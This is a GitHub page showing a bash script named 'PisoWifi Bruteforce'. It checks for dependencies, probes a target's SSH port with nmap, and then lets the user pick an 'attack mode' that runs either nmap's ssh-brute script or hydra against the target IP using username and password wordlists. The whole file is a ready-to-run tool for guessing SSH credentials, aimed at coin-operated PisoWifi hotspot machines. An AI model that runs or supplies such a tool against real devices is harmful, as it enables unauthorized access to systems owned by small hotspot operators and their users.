-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathmain.sh
executable file
·96 lines (88 loc) · 3.02 KB
/
main.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/bin/bash
# Delete old hydra session
rm hydra.restore
# Check dependencies
function install_deps(){
clear
echo "PisoWifi Bruteforce" | toilet -f smbraille | lolcat
echo ""
echo -ne "\e[93m\e[1m[+] Checking Dependencies"
for name in nmap hydra toilet python3 php curl wget git ruby
do
[[ $(which $name 2> /dev/null) ]] || { echo -en "\n\e[91m\e[1m[!] Package $name is not installed...\e[0m \n\e\93m\3[1m[!] use 'pkg install $name' or 'sudo apt-get install $name'. \n\e[1m[!] Press 'CTRL + C' to exit\e\10m";deps=1; }
done
[[ $deps -ne 1 ]] && echo " > OK" && sleep 3 || main || { echo -en "\n\e[0m\e[93m\e[1m[!] Install the above and rerun this script\e[0m\n" || exit 1; }
}
# Check if the port is open
function check_ssh(){
clear
echo "SSH Port Checker" | toilet -f smbraille | lolcat
echo -e "\e[1m\e[92m"
read -p "Enter Target IP > " ip
echo ""
echo -e "Port 22 is recommended"
read -p "Enter Port > " pt
echo ""
echo -e "\e[1m\e[93m[+] Checking if port $pt is open"
echo -e "\e[0m"
server=$ip
port=$pt
status=`nmap $server -Pn -p $port | egrep -io 'open|closed|filtered'`
if [ $status == "open" ];then
echo ""
echo -e "\e[1m\e[92m[+] SSH Connection to $server over $port is possible.\e[0m"
sleep 5
elif [ $status == "filtered" ];then
echo ""
echo -e "\e[1m\e[93m[!] SSh Connection to $server over $port is possible but blocked by Firewall.\e[0m"
sleep 5
elif [ $status == "closed" ];then
echo ""
echo -e "\e[1m\e[91m[!] SSH Connection to $server over $port is not possible.\e[0m"
sleep 5
clear && exit
else
echo ""
echo -e "\e[1m\e[91m[!] Unable to get port $port status from $server \e[0m"
sleep 5
fi
}
# Main function
function main(){
install_deps
check_ssh
clear
echo "PisoWifi Bruteforce" | toilet -f smbraille | lolcat
echo -e "\e[1m\e[92m"
echo -e "[01] NMAP"
echo -e "[02] Hydra"
echo -e "[00] Exit"
echo -e ""
read -p "[+] Choose Attack Mode > " method
if [[ $method -eq 1 || $method -eq 01 ]] # Attack PisoWifi using NMAP
then
clear
echo -e "NMAP Bruteforce Attack" | toilet -f smbraille | lolcat
echo -e "\e[1m\e[92m"
read -p "Enter target IP > " ip
echo -e "\e[0m"
nmap $ip -p $port --script ssh-brute --script-args userdb=user.txt,passdb=password.txt
elif [[ $method -eq 2 || $method -eq 02 ]] # Attack PisoWifi using Hydra
then
clear
echo -e "Hydra Bruteforce Attack" | toilet -f smbraille | lolcat
echo -e "\e[1m\e[92m"
read -p "Enter target IP > " ip
echo -e "\e[0m"
hydra -L user.txt -P password.txt ssh://$ip:$port
elif [[ $method -eq 0 || $method -eq 00 ]]
then
clear && echo "Thank you for using this tool -- JyanJohn" && exit
else
echo ""
echo -e "\e[1m\e[91m[!] Invalid input, Please try again\e[0m"
exit
fi
}
# Main Argument
main